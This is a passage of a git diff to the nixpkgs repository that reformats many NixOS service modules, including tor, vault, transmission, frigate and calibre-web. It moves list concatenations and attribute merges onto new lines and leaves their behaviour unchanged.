+      lib.filterAttrs (_: v: v.filter != null && !builtins.isString v.filter) attrsJails
+    ));
 
     systemd.packages = [ cfg.package ];
     systemd.services.fail2ban = {
@@ -387,7 +386,8 @@ in
         cfg.package
         cfg.packageFirewall
         pkgs.iproute2
-      ] ++ cfg.extraPackages;
+      ]
+      ++ cfg.extraPackages;
 
       serviceConfig = {
         # Capabilities
diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix
index 6e4a853e3d6f..cf076e826640 100644
--- a/nixos/modules/services/security/kanidm.nix
+++ b/nixos/modules/services/security/kanidm.nix
@@ -57,7 +57,8 @@ let
   secretPaths = [
     cfg.serverSettings.tls_chain
     cfg.serverSettings.tls_key
-  ] ++ optionals cfg.provision.enable provisionSecretFiles;
+  ]
+  ++ optionals cfg.provision.enable provisionSecretFiles;
 
   # Merge bind mount paths and remove paths where a prefix is already mounted.
   # This makes sure that if e.g. the tls_chain is in the nix store and /nix/store is already in the mount
@@ -899,14 +900,13 @@ in
           User = "kanidm";
           Group = "kanidm";
 
-          BindPaths =
-            [
-              # To store backups
-              cfg.serverSettings.online_backup.path
-            ]
-            ++ optional (
-              cfg.enablePam && cfg.unixSettings ? home_mount_prefix
-            ) cfg.unixSettings.home_mount_prefix;
+          BindPaths = [
+            # To store backups
+            cfg.serverSettings.online_backup.path
+          ]
+          ++ optional (
+            cfg.enablePam && cfg.unixSettings ? home_mount_prefix
+          ) cfg.unixSettings.home_mount_prefix;
 
           AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" ];
           CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" ];
diff --git a/nixos/modules/services/security/tor.nix b/nixos/modules/services/security/tor.nix
index 960d4b647b8b..e7914ad80f39 100644
--- a/nixos/modules/services/security/tor.nix
+++ b/nixos/modules/services/security/tor.nix
@@ -107,23 +107,22 @@ let
       (submodule (
         { config, ... }:
         {
-          options =
-            {
-              addr = optionAddress;
-              port = optionPort;
-              flags = optionFlags;
-              SessionGroup = lib.mkOption {
-                type = nullOr int;
-                default = null;
-              };
+          options = {
+            addr = optionAddress;
+            port = optionPort;
+            flags = optionFlags;
+            SessionGroup = lib.mkOption {
+              type = nullOr int;
+              default = null;
+            };
+          }
+          // lib.genAttrs isolateFlags (
+            name:
+            lib.mkOption {
+              type = types.bool;
+              default = false;
             }
-            // lib.genAttrs isolateFlags (
-              name:
-              lib.mkOption {
-                type = types.bool;
-                default = false;
-              }
-            );
+          );
           config = {
             flags =
               lib.filter (name: config.${name} == true) isolateFlags
@@ -167,7 +166,8 @@ let
         "UseIPv4Cache"
         "UseIPv6Cache"
         "WorldWritable"
-      ] ++ isolateFlags;
+      ]
+      ++ isolateFlags;
     in
     with lib.types;
     oneOf [
@@ -175,24 +175,23 @@ let
       (submodule (
         { config, ... }:
         {
-          options =
-            {
-              unix = optionUnix;
-              addr = optionAddress;
-              port = optionPort;
-              flags = optionFlags;
-              SessionGroup = lib.mkOption {
-                type = nullOr int;
-                default = null;
-              };
+          options = {
+            unix = optionUnix;
+            addr = optionAddress;
+            port = optionPort;
+            flags = optionFlags;
+            SessionGroup = lib.mkOption {
+              type = nullOr int;
+              default = null;
+            };
+          }
+          // lib.genAttrs flags (
+            name:
+            lib.mkOption {
+              type = types.bool;
+              default = false;
             }
-            // lib.genAttrs flags (
-              name:
-              lib.mkOption {
-                type = types.bool;
-                default = false;
-              }
-            );
+          );
           config = lib.mkIf doConfig {
             # Only add flags in SOCKSPort to avoid duplicates
             flags =
@@ -230,19 +229,18 @@ let
                 ];
               in
               {
-                options =
-                  {
-                    addr = optionAddress;
-                    port = optionPort;
-                    flags = optionFlags;
+                options = {
+                  addr = optionAddress;
+                  port = optionPort;
+                  flags = optionFlags;
+                }
+                // lib.genAttrs flags (
+                  name:
+                  lib.mkOption {
+                    type = types.bool;
+                    default = false;
                   }
-                  // lib.genAttrs flags (
-                    name:
-                    lib.mkOption {
-                      type = types.bool;
-                      default = false;
-                    }
-                  );
+                );
                 config = {
                   flags = lib.filter (name: config.${name} == true) flags;
                 };
@@ -913,20 +911,19 @@ in
                       ];
                     in
                     {
-                      options =
-                        {
-                          unix = optionUnix;
-                          flags = optionFlags;
-                          addr = optionAddress;
-                          port = optionPort;
+                      options = {
+                        unix = optionUnix;
+                        flags = optionFlags;
+                        addr = optionAddress;
+                        port = optionPort;
+                      }
+                      // lib.genAttrs flags (
+                        name:
+                        lib.mkOption {
+                          type = types.bool;
+                          default = false;
                         }
-                        // lib.genAttrs flags (
-                          name:
-                          lib.mkOption {
-                            type = types.bool;
-                            default = false;
-                          }
-                        );
+                      );
                       config = {
                         flags = lib.filter (name: config.${name} == true) flags;
                       };
@@ -1398,16 +1395,15 @@ in
         ];
         RuntimeDirectoryMode = "0710";
         StateDirectoryMode = "0700";
-        StateDirectory =
-          [
-            "tor"
-            "tor/onion"
-          ]
-          ++ lib.flatten (
-            lib.mapAttrsToList (
-              name: onion: lib.optional (onion.secretKey == null) "tor/onion/${name}"
-            ) cfg.relay.onionServices
-          );
+        StateDirectory = [
+          "tor"
+          "tor/onion"
+        ]
+        ++ lib.flatten (
+          lib.mapAttrsToList (
+            name: onion: lib.optional (onion.secretKey == null) "tor/onion/${name}"
+          ) cfg.relay.onionServices
+        );
         # The following options are only to optimize:
         # systemd-analyze security tor
         RootDirectory = runDir + "/root";
@@ -1415,15 +1411,14 @@ in
         #InaccessiblePaths = [ "-+${runDir}/root" ];
         UMask = "0066";
         BindPaths = [ stateDir ];
-        BindReadOnlyPaths =
-          [
-            builtins.storeDir
-            "/etc"
-          ]
-          ++ lib.optionals config.services.resolved.enable [
-            "/run/systemd/resolve/stub-resolv.conf"
-            "/run/systemd/resolve/resolv.conf"
-          ];
+        BindReadOnlyPaths = [
+          builtins.storeDir
+          "/etc"
+        ]
+        ++ lib.optionals config.services.resolved.enable [
+          "/run/systemd/resolve/stub-resolv.conf"
+          "/run/systemd/resolve/resolv.conf"
+        ];
         AmbientCapabilities = [ "" ] ++ lib.optional bindsPrivilegedPort "CAP_NET_BIND_SERVICE";
         CapabilityBoundingSet = [ "" ] ++ lib.optional bindsPrivilegedPort "CAP_NET_BIND_SERVICE";
         # ProtectClock= adds DeviceAllow=char-rtc r
diff --git a/nixos/modules/services/security/vault.nix b/nixos/modules/services/security/vault.nix
index f3a7eddebaf1..6ba732300579 100644
--- a/nixos/modules/services/security/vault.nix
+++ b/nixos/modules/services/security/vault.nix
@@ -224,11 +224,10 @@ in
       description = "Vault server daemon";
 
       wantedBy = [ "multi-user.target" ];
-      after =
-        [
-          "network.target"
-        ]
-        ++ lib.optional (config.services.consul.enable && cfg.storageBackend == "consul") "consul.service";
+      after = [
+        "network.target"
+      ]
+      ++ lib.optional (config.services.consul.enable && cfg.storageBackend == "consul") "consul.service";
 
       restartIfChanged = false; # do not restart on "nixos-rebuild switch". It would seal the storage and disrupt the clients.
 
diff --git a/nixos/modules/services/security/vaultwarden/default.nix b/nixos/modules/services/security/vaultwarden/default.nix
index 613b81b297d2..1f386951286b 100644
--- a/nixos/modules/services/security/vaultwarden/default.nix
+++ b/nixos/modules/services/security/vaultwarden/default.nix
@@ -263,13 +263,12 @@ in
         inherit StateDirectory;
         StateDirectoryMode = "0700";
         SystemCallArchitectures = "native";
-        SystemCallFilter =
-          [
-            "@system-service"
-          ]
-          ++ lib.optionals (!useSendmail) [
-            "~@privileged"
-          ];
+        SystemCallFilter = [
+          "@system-service"
+        ]
+        ++ lib.optionals (!useSendmail) [
+          "~@privileged"
+        ];
         Restart = "always";
         UMask = "0077";
       };
diff --git a/nixos/modules/services/system/cachix-watch-store.nix b/nixos/modules/services/system/cachix-watch-store.nix
index 32fc5eec3964..28de56d20fb4 100644
--- a/nixos/modules/services/system/cachix-watch-store.nix
+++ b/nixos/modules/services/system/cachix-watch-store.nix
@@ -83,27 +83,29 @@ in
         DynamicUser = true;
         LoadCredential = [
           "cachix-token:${toString cfg.cachixTokenFile}"
-        ] ++ lib.optional (cfg.signingKeyFile != null) "signing-key:${toString cfg.signingKeyFile}";
+        ]
+        ++ lib.optional (cfg.signingKeyFile != null) "signing-key:${toString cfg.signingKeyFile}";
       };
       script =
         let
-          command =
-            [ "${cfg.package}/bin/cachix" ]
-            ++ (lib.optional cfg.verbose "--verbose")
-            ++ (lib.optionals (cfg.host != null) [
-              "--host"
-              cfg.host
-            ])
-            ++ [ "watch-store" ]
-            ++ (lib.optionals (cfg.compressionLevel != null) [
-              "--compression-level"
-              (toString cfg.compressionLevel)
-            ])
-            ++ (lib.optionals (cfg.jobs != null) [
-              "--jobs"
-              (toString cfg.jobs)
-            ])
-            ++ [ cfg.cacheName ];
+          command = [
+            "${cfg.package}/bin/cachix"
+          ]
+          ++ (lib.optional cfg.verbose "--verbose")
+          ++ (lib.optionals (cfg.host != null) [
+            "--host"
+            cfg.host
+          ])
+          ++ [ "watch-store" ]
+          ++ (lib.optionals (cfg.compressionLevel != null) [
+            "--compression-level"
+            (toString cfg.compressionLevel)
+          ])
+          ++ (lib.optionals (cfg.jobs != null) [
+            "--jobs"
+            (toString cfg.jobs)
+          ])
+          ++ [ cfg.cacheName ];
         in
         ''
           export CACHIX_AUTH_TOKEN="$(<"$CREDENTIALS_DIRECTORY/cachix-token")"
diff --git a/nixos/modules/services/system/nix-daemon.nix b/nixos/modules/services/system/nix-daemon.nix
index bc5bbcf06cf1..5a04affb758c 100644
--- a/nixos/modules/services/system/nix-daemon.nix
+++ b/nixos/modules/services/system/nix-daemon.nix
@@ -191,7 +191,8 @@ in
     environment.systemPackages = [
       nixPackage
       pkgs.nix-info
-    ] ++ lib.optional (config.programs.bash.completion.enable) pkgs.nix-bash-completions;
+    ]
+    ++ lib.optional (config.programs.bash.completion.enable) pkgs.nix-bash-completions;
 
     systemd.packages = [ nixPackage ];
 
@@ -213,7 +214,8 @@ in
         nixPackage
         pkgs.util-linux
         config.programs.ssh.package
-      ] ++ lib.optionals cfg.distributedBuilds [ pkgs.gzip ];
+      ]
+      ++ lib.optionals cfg.distributedBuilds [ pkgs.gzip ];
 
       environment =
         cfg.envVars
diff --git a/nixos/modules/services/torrent/bitmagnet.nix b/nixos/modules/services/torrent/bitmagnet.nix
index c0929b69f451..e8c2e336141a 100644
--- a/nixos/modules/services/torrent/bitmagnet.nix
+++ b/nixos/modules/services/torrent/bitmagnet.nix
@@ -127,7 +127,8 @@ in
       wantedBy = [ "multi-user.target" ];
       after = [
         "network.target"
-      ] ++ optional cfg.useLocalPostgresDB "postgresql.service";
+      ]
+      ++ optional cfg.useLocalPostgresDB "postgresql.service";
       requires = optional cfg.useLocalPostgresDB "postgresql.service";
       serviceConfig = {
         Type = "simple";
diff --git a/nixos/modules/services/torrent/transmission.nix b/nixos/modules/services/torrent/transmission.nix
index adf4a5a24680..8454910654bf 100644
--- a/nixos/modules/services/torrent/transmission.nix
+++ b/nixos/modules/services/torrent/transmission.nix
@@ -339,20 +339,19 @@ in
     # when /home/foo is not owned by cfg.user.
     # Note also that using an ExecStartPre= wouldn't work either
     # because BindPaths= needs these directories before.
-    system.activationScripts.transmission-daemon =
-      ''
-        install -d -m 700 -o '${cfg.user}' -g '${cfg.group}' '${cfg.home}/${settingsDir}'
-      ''
-      + optionalString (cfg.downloadDirPermissions != null) ''
-        install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.download-dir}'
+    system.activationScripts.transmission-daemon = ''
+      install -d -m 700 -o '${cfg.user}' -g '${cfg.group}' '${cfg.home}/${settingsDir}'
+    ''
+    + optionalString (cfg.downloadDirPermissions != null) ''
+      install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.download-dir}'
 
-        ${optionalString cfg.settings.incomplete-dir-enabled ''
-          install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.incomplete-dir}'
-        ''}
-        ${optionalString cfg.settings.watch-dir-enabled ''
-          install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.watch-dir}'
-        ''}
-      '';
+      ${optionalString cfg.settings.incomplete-dir-enabled ''
+        install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.incomplete-dir}'
+      ''}
+      ${optionalString cfg.settings.watch-dir-enabled ''
+        install -d -m '${cfg.downloadDirPermissions}' -o '${cfg.user}' -g '${cfg.group}' '${cfg.settings.watch-dir}'
+      ''}
+    '';
 
     systemd.services.transmission = {
       description = "Transmission BitTorrent Service";
@@ -401,31 +400,29 @@ in
         RootDirectory = rootDir;
         RootDirectoryStartOnly = true;
         MountAPIVFS = true;
-        BindPaths =
-          [
-            "${cfg.home}/${settingsDir}"
-            cfg.settings.download-dir
-            # Transmission may need to read in the host's /run (eg. /run/systemd/resolve)
-            # or write in its private /run (eg. /run/host).
-            "/run"
-          ]
-          ++ optional cfg.settings.incomplete-dir-enabled cfg.settings.incomplete-dir
-          ++ optional (
-            cfg.settings.watch-dir-enabled && cfg.settings.trash-original-torrent-files
-          ) cfg.settings.watch-dir;
-        BindReadOnlyPaths =
-          [
-            # No confinement done of /nix/store here like in systemd-confinement.nix,
-            # an AppArmor profile is provided to get a confinement based upon paths and rights.
-            builtins.storeDir
-            "/etc"
-          ]
-          ++ optional (
-            cfg.settings.script-torrent-done-enabled && cfg.settings.script-torrent-done-filename != null
-          ) cfg.settings.script-torrent-done-filename
-          ++ optional (
-            cfg.settings.watch-dir-enabled && !cfg.settings.trash-original-torrent-files
-          ) cfg.settings.watch-dir;
+        BindPaths = [
+          "${cfg.home}/${settingsDir}"
+          cfg.settings.download-dir
+          # Transmission may need to read in the host's /run (eg. /run/systemd/resolve)
+          # or write in its private /run (eg. /run/host).
+          "/run"
+        ]
+        ++ optional cfg.settings.incomplete-dir-enabled cfg.settings.incomplete-dir
+        ++ optional (
+          cfg.settings.watch-dir-enabled && cfg.settings.trash-original-torrent-files
+        ) cfg.settings.watch-dir;
+        BindReadOnlyPaths = [
+          # No confinement done of /nix/store here like in systemd-confinement.nix,
+          # an AppArmor profile is provided to get a confinement based upon paths and rights.
+          builtins.storeDir
+          "/etc"
+        ]
+        ++ optional (
+          cfg.settings.script-torrent-done-enabled && cfg.settings.script-torrent-done-filename != null
+        ) cfg.settings.script-torrent-done-filename
+        ++ optional (
+          cfg.settings.watch-dir-enabled && !cfg.settings.trash-original-torrent-files
+        ) cfg.settings.watch-dir;
         StateDirectory = [
           "transmission"
           "transmission/${settingsDir}"
diff --git a/nixos/modules/services/ttys/getty.nix b/nixos/modules/services/ttys/getty.nix
index c6093034cf75..709bbff233d6 100644
--- a/nixos/modules/services/ttys/getty.nix
+++ b/nixos/modules/services/ttys/getty.nix
@@ -10,20 +10,19 @@ with lib;
 let
   cfg = config.services.getty;
 
-  baseArgs =
-    [
-      "--login-program"
-      "${cfg.loginProgram}"
-    ]
-    ++ optionals (cfg.autologinUser != null && !cfg.autologinOnce) [
-      "--autologin"
-      cfg.autologinUser
-    ]
-    ++ optionals (cfg.loginOptions != null) [
-      "--login-options"
-      cfg.loginOptions
-    ]
-    ++ cfg.extraArgs;
+  baseArgs = [
+    "--login-program"
+    "${cfg.loginProgram}"
+  ]
+  ++ optionals (cfg.autologinUser != null && !cfg.autologinOnce) [
+    "--autologin"
+    cfg.autologinUser
+  ]
+  ++ optionals (cfg.loginOptions != null) [
+    "--login-options"
+    cfg.loginOptions
+  ]
+  ++ cfg.extraArgs;
 
   gettyCmd = args: "${lib.getExe' pkgs.util-linux "agetty"} ${escapeShellArgs baseArgs} ${args}";
 
diff --git a/nixos/modules/services/video/epgstation/default.nix b/nixos/modules/services/video/epgstation/default.nix
index 99190297eb75..4786cbab62d5 100644
--- a/nixos/modules/services/video/epgstation/default.nix
+++ b/nixos/modules/services/video/epgstation/default.nix
@@ -378,10 +378,11 @@ in
       inherit description;
 
       wantedBy = [ "multi-user.target" ];
-      after =
-        [ "network.target" ]
-        ++ lib.optional config.services.mirakurun.enable "mirakurun.service"
-        ++ lib.optional config.services.mysql.enable "mysql.service";
+      after = [
+        "network.target"
+      ]
+      ++ lib.optional config.services.mirakurun.enable "mirakurun.service"
+      ++ lib.optional config.services.mysql.enable "mysql.service";
 
       environment.NODE_ENV = "production";
 
diff --git a/nixos/modules/services/video/frigate.nix b/nixos/modules/services/video/frigate.nix
index 7bc277f89b20..f82fb0549ce9 100644
--- a/nixos/modules/services/video/frigate.nix
+++ b/nixos/modules/services/video/frigate.nix
@@ -294,51 +294,45 @@ in
             '';
           };
           "/vod/" = {
-            extraConfig =
-              nginxAuthRequest
-              + ''
-                aio threads;
-                vod hls;
+            extraConfig = nginxAuthRequest + ''
+              aio threads;
+              vod hls;
 
-                secure_token $args;
-                secure_token_types application/vnd.apple.mpegurl;
+              secure_token $args;
+              secure_token_types application/vnd.apple.mpegurl;
 
-                add_header Cache-Control "no-store";
-                expires off;
+              add_header Cache-Control "no-store";
+              expires off;
 
-                keepalive_disable safari;
-              '';
+              keepalive_disable safari;
+            '';
           };
           "/stream/" = {
             alias = "/var/cache/frigate/stream/";
-            extraConfig =
-              nginxAuthRequest
-              + ''
-                add_header Cache-Control "no-store";
-                expires off;
+            extraConfig = nginxAuthRequest + ''
+              add_header Cache-Control "no-store";
+              expires off;
 
-                types {
-                    application/dash+xml mpd;
-                    application/vnd.apple.mpegurl m3u8;
-                    video/mp2t ts;
-                    image/jpeg jpg;
-                }
-              '';
+              types {
+                  application/dash+xml mpd;
+                  application/vnd.apple.mpegurl m3u8;
+                  video/mp2t ts;
+                  image/jpeg jpg;
+              }
+            '';
           };
           "/clips/" = {
             root = "/var/lib/frigate";
-            extraConfig =
-              nginxAuthRequest
-              + ''
-                types {
-                    video/mp4 mp4;
-                    image/jpeg jpg;
-                }
+            extraConfig = nginxAuthRequest + ''
+              types {
+                  video/mp4 mp4;
+                  image/jpeg jpg;
+              }
 
-                expires 7d;
-                add_header Cache-Control "public";
-                autoindex on;
-              '';
+              expires 7d;
+              add_header Cache-Control "public";
+              autoindex on;
+            '';
           };
           "/cache/" = {
             alias = "/var/cache/frigate/";
@@ -348,29 +342,25 @@ in
           };
           "/recordings/" = {
             root = "/var/lib/frigate";
-            extraConfig =
-              nginxAuthRequest
-              + ''
-                types {
-                    video/mp4 mp4;
-                }
+            extraConfig = nginxAuthRequest + ''
+              types {
+                  video/mp4 mp4;
+              }
 
-                autoindex on;
-                autoindex_format json;
-              '';
+              autoindex on;
+              autoindex_format json;
+            '';
           };
           "/exports/" = {
             root = "/var/lib/frigate";
-            extraConfig =
-              nginxAuthRequest
-              + ''
-                types {
-                  video/mp4 mp4;
-                }
+            extraConfig = nginxAuthRequest + ''
+              types {
+                video/mp4 mp4;
+              }
 
-                autoindex on;
-                autoindex_format json;
-              '';
+              autoindex on;
+              autoindex_format json;
+            '';
           };
           "/ws" = {
             proxyPass = "http://frigate-mqtt-ws/";
@@ -613,18 +603,17 @@ in
       wantedBy = [
         "multi-user.target"
       ];
-      environment =
-        {
-          CONFIG_FILE = "/run/frigate/frigate.yml";
-          HOME = "/var/lib/frigate";
-          PYTHONPATH = cfg.package.pythonPath;
-        }
-        // optionalAttrs (cfg.vaapiDriver != null) {
-          LIBVA_DRIVER_NAME = cfg.vaapiDriver;
-        }
-        // optionalAttrs withCoral {
-          LD_LIBRARY_PATH = makeLibraryPath (with pkgs; [ libedgetpu ]);
-        };
+      environment = {
+        CONFIG_FILE = "/run/frigate/frigate.yml";
+        HOME = "/var/lib/frigate";
+        PYTHONPATH = cfg.package.pythonPath;
+      }
+      // optionalAttrs (cfg.vaapiDriver != null) {
+        LIBVA_DRIVER_NAME = cfg.vaapiDriver;
+      }
+      // optionalAttrs withCoral {
+        LD_LIBRARY_PATH = makeLibraryPath (with pkgs; [ libedgetpu ]);
+      };
       path =
         with pkgs;
         [
diff --git a/nixos/modules/services/video/mirakurun.nix b/nixos/modules/services/video/mirakurun.nix
index b1446422b988..72cf76ee76f8 100644
--- a/nixos/modules/services/video/mirakurun.nix
+++ b/nixos/modules/services/video/mirakurun.nix
@@ -204,12 +204,11 @@ in
       restartTriggers =
         let
           getconf = target: config.environment.etc."mirakurun/${target}.yml".source;
-          targets =
-            [
-              "server"
-            ]
-            ++ optional (cfg.tunerSettings != null) "tuners"
-            ++ optional (cfg.channelSettings != null) "channels";
+          targets = [
+            "server"
+          ]
+          ++ optional (cfg.tunerSettings != null) "tuners"
+          ++ optional (cfg.channelSettings != null) "channels";
         in
         (map getconf targets);
     };
diff --git a/nixos/modules/services/video/ustreamer.nix b/nixos/modules/services/video/ustreamer.nix
index d32818fa3ab3..30d605a19a65 100644
--- a/nixos/modules/services/video/ustreamer.nix
+++ b/nixos/modules/services/video/ustreamer.nix
@@ -65,13 +65,12 @@ in
   };
 
   config = mkIf cfg.enable {
-    services.ustreamer.extraArgs =
-      [
-        "--device=${cfg.device}"
-      ]
-      ++ optionals (!cfg.autoStart) [
-        "--exit-on-no-clients=300"
-      ];
+    services.ustreamer.extraArgs = [
+      "--device=${cfg.device}"
+    ]
+    ++ optionals (!cfg.autoStart) [
+      "--exit-on-no-clients=300"
+    ];
 
     systemd.services."ustreamer" = {
       description = "µStreamer, a lightweight MJPEG-HTTP streamer";
diff --git a/nixos/modules/services/video/v4l2-relayd.nix b/nixos/modules/services/video/v4l2-relayd.nix
index 0b2c94ad9eea..bcf8725c845b 100644
--- a/nixos/modules/services/video/v4l2-relayd.nix
+++ b/nixos/modules/services/video/v4l2-relayd.nix
@@ -179,16 +179,15 @@ in
               "framerate=${toString instance.input.framerate}/1"
             ];
 
-            outputPipeline =
-              [
-                "appsrc name=appsrc ${appsrcOptions}"
-                "videoconvert"
-              ]
-              ++ optionals (instance.input.format != instance.output.format) [
-                "video/x-raw,format=${instance.output.format}"
-                "queue"
-              ]
-              ++ [ "v4l2sink name=v4l2sink device=$(cat $V4L2_DEVICE_FILE)" ];
+            outputPipeline = [
+              "appsrc name=appsrc ${appsrcOptions}"
+              "videoconvert"
+            ]
+            ++ optionals (instance.input.format != instance.output.format) [
+              "video/x-raw,format=${instance.output.format}"
+              "queue"
+            ]
+            ++ [ "v4l2sink name=v4l2sink device=$(cat $V4L2_DEVICE_FILE)" ];
           in
           ''
             exec ${pkgs.v4l2-relayd}/bin/v4l2-relayd -i "${instance.input.pipeline}" -o "${concatStringsSep " ! " outputPipeline}"
diff --git a/nixos/modules/services/video/wivrn.nix b/nixos/modules/services/video/wivrn.nix
index f2b986720c87..0623a4ed2cca 100644
--- a/nixos/modules/services/video/wivrn.nix
+++ b/nixos/modules/services/video/wivrn.nix
@@ -188,7 +188,8 @@ in
             XRT_COMPOSITOR_LOG = "debug";
             XRT_PRINT_OPTIONS = "on";
             IPC_EXIT_ON_DISCONNECT = "off";
-          } // cfg.monadoEnvironment;
+          }
+          // cfg.monadoEnvironment;
           serviceConfig = {
             ExecStart = serverExec;
             # Hardening options
diff --git a/nixos/modules/services/web-apps/agorakit.nix b/nixos/modules/services/web-apps/agorakit.nix
index 7ee53222dc4f..84bda144718f 100644
--- a/nixos/modules/services/web-apps/agorakit.nix
+++ b/nixos/modules/services/web-apps/agorakit.nix
@@ -352,7 +352,8 @@ in
         "listen.mode" = "0660";
         "listen.owner" = user;
         "listen.group" = group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.nginx = {
diff --git a/nixos/modules/services/web-apps/anuko-time-tracker.nix b/nixos/modules/services/web-apps/anuko-time-tracker.nix
index 19099a3bc7e1..f626cb8cb489 100644
--- a/nixos/modules/services/web-apps/anuko-time-tracker.nix
+++ b/nixos/modules/services/web-apps/anuko-time-tracker.nix
@@ -322,7 +322,8 @@ in
         settings = {
           "listen.owner" = config.services.nginx.user;
           "listen.group" = config.services.nginx.group;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
     };
 
diff --git a/nixos/modules/services/web-apps/artalk.nix b/nixos/modules/services/web-apps/artalk.nix
index d3d06f1521b6..34ae4d2e3a77 100644
--- a/nixos/modules/services/web-apps/artalk.nix
+++ b/nixos/modules/services/web-apps/artalk.nix
@@ -93,26 +93,25 @@ in
     systemd.services.artalk = {
       after = [ "network.target" ];
       wantedBy = [ "multi-user.target" ];
-      preStart =
-        ''
-          umask 0077
-          ${utils.genJqSecretsReplacementSnippet cfg.settings "/run/artalk/new"}
-        ''
-        + (
-          if cfg.allowModify then
-            ''
-              [ -e "${cfg.configFile}" ] || ${lib.getExe cfg.package} gen config "${cfg.configFile}"
-              cat "${cfg.configFile}" | ${lib.getExe pkgs.yj} > "/run/artalk/old"
-              ${lib.getExe pkgs.jq} -s '.[0] * .[1]' "/run/artalk/old" "/run/artalk/new" > "/run/artalk/result"
-              cat "/run/artalk/result" | ${lib.getExe pkgs.yj} -r > "${cfg.configFile}"
-              rm /run/artalk/{old,new,result}
-            ''
-          else
-            ''
-              cat /run/artalk/new | ${lib.getExe pkgs.yj} -r > "${cfg.configFile}"
-              rm /run/artalk/new
-            ''
-        );
+      preStart = ''
+        umask 0077
+        ${utils.genJqSecretsReplacementSnippet cfg.settings "/run/artalk/new"}
+      ''
+      + (
+        if cfg.allowModify then
+          ''
+            [ -e "${cfg.configFile}" ] || ${lib.getExe cfg.package} gen config "${cfg.configFile}"
+            cat "${cfg.configFile}" | ${lib.getExe pkgs.yj} > "/run/artalk/old"
+            ${lib.getExe pkgs.jq} -s '.[0] * .[1]' "/run/artalk/old" "/run/artalk/new" > "/run/artalk/result"
+            cat "/run/artalk/result" | ${lib.getExe pkgs.yj} -r > "${cfg.configFile}"
+            rm /run/artalk/{old,new,result}
+          ''
+        else
+          ''
+            cat /run/artalk/new | ${lib.getExe pkgs.yj} -r > "${cfg.configFile}"
+            rm /run/artalk/new
+          ''
+      );
       serviceConfig = {
         User = cfg.user;
         Group = cfg.group;
diff --git a/nixos/modules/services/web-apps/bookstack.nix b/nixos/modules/services/web-apps/bookstack.nix
index 9e125ffa4a18..d1eb0b1e5a2a 100644
--- a/nixos/modules/services/web-apps/bookstack.nix
+++ b/nixos/modules/services/web-apps/bookstack.nix
@@ -364,7 +364,8 @@ in
         "listen.mode" = "0660";
         "listen.owner" = user;
         "listen.group" = group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.nginx = {
diff --git a/nixos/modules/services/web-apps/calibre-web.nix b/nixos/modules/services/web-apps/calibre-web.nix
index b9ece6c995af..0950dc02373d 100644
--- a/nixos/modules/services/web-apps/calibre-web.nix
+++ b/nixos/modules/services/web-apps/calibre-web.nix
@@ -160,29 +160,28 @@ in
         after = [ "network.target" ];
         wantedBy = [ "multi-user.target" ];
 
-        serviceConfig =
-          {
-            Type = "simple";
-            User = cfg.user;
-            Group = cfg.group;
+        serviceConfig = {
+          Type = "simple";
+          User = cfg.user;
+          Group = cfg.group;
 
-            ExecStartPre = pkgs.writeShellScript "calibre-web-pre-start" (
-              ''
-                __RUN_MIGRATIONS_AND_EXIT=1 ${calibreWebCmd}
+          ExecStartPre = pkgs.writeShellScript "calibre-web-pre-start" (
+            ''
+              __RUN_MIGRATIONS_AND_EXIT=1 ${calibreWebCmd}
 
-                ${pkgs.sqlite}/bin/sqlite3 ${appDb} "update settings set ${settings}"
-              ''
-              + optionalString (cfg.options.calibreLibrary != null) ''
-                test -f "${cfg.options.calibreLibrary}/metadata.db" || { echo "Invalid Calibre library"; exit 1; }
-              ''
-            );
+              ${pkgs.sqlite}/bin/sqlite3 ${appDb} "update settings set ${settings}"
+            ''
+            + optionalString (cfg.options.calibreLibrary != null) ''
+              test -f "${cfg.options.calibreLibrary}/metadata.db" || { echo "Invalid Calibre library"; exit 1; }
+            ''
+          );
 
-            ExecStart = "${calibreWebCmd} -i ${cfg.listen.ip}";
-            Restart = "on-failure";
-          }
-          // lib.optionalAttrs (!(lib.hasPrefix "/" cfg.dataDir)) {
-            StateDirectory = cfg.dataDir;
-          };
+          ExecStart = "${calibreWebCmd} -i ${cfg.listen.ip}";
+          Restart = "on-failure";
+        }
+        // lib.optionalAttrs (!(lib.hasPrefix "/" cfg.dataDir)) {
+          StateDirectory = cfg.dataDir;
+        };
       };
 
     networking.firewall = mkIf cfg.openFirewall {
diff --git a/nixos/modules/services/web-apps/castopod.nix b/nixos/modules/services/web-apps/castopod.nix
index 018dafd07bda..1c428cead548 100644
--- a/nixos/modules/services/web-apps/castopod.nix
+++ b/nixos/modules/services/web-apps/castopod.nix
@@ -204,7 +204,8 @@ in
       settings = {
         "listen.owner" = config.services.nginx.user;
         "listen.group" = config.services.nginx.group;
-      } // cfg.poolSettings;
+      }
+      // cfg.poolSettings;
     };
 
     systemd.services.castopod-setup = {
diff --git a/nixos/modules/services/web-apps/changedetection-io.nix b/nixos/modules/services/web-apps/changedetection-io.nix
index ff710d55d40c..5104c4384e1d 100644
--- a/nixos/modules/services/web-apps/changedetection-io.nix
+++ b/nixos/modules/services/web-apps/changedetection-io.nix
@@ -142,12 +142,13 @@ in
             StateDirectory = mkIf defaultStateDir "changedetection-io";
             StateDirectoryMode = mkIf defaultStateDir "0750";
             WorkingDirectory = cfg.datastorePath;
-            Environment =
-              [ "HIDE_REFERER=true" ]
-              ++ lib.optional (cfg.baseURL != null) "BASE_URL=${cfg.baseURL}"
-              ++ lib.optional cfg.behindProxy "USE_X_SETTINGS=1"
-              ++ lib.optional cfg.webDriverSupport "WEBDRIVER_URL=http://127.0.0.1:${toString cfg.chromePort}/wd/hub"
-              ++ lib.optional cfg.playwrightSupport "PLAYWRIGHT_DRIVER_URL=ws://127.0.0.1:${toString cfg.chromePort}/?stealth=1&--disable-web-security=true";
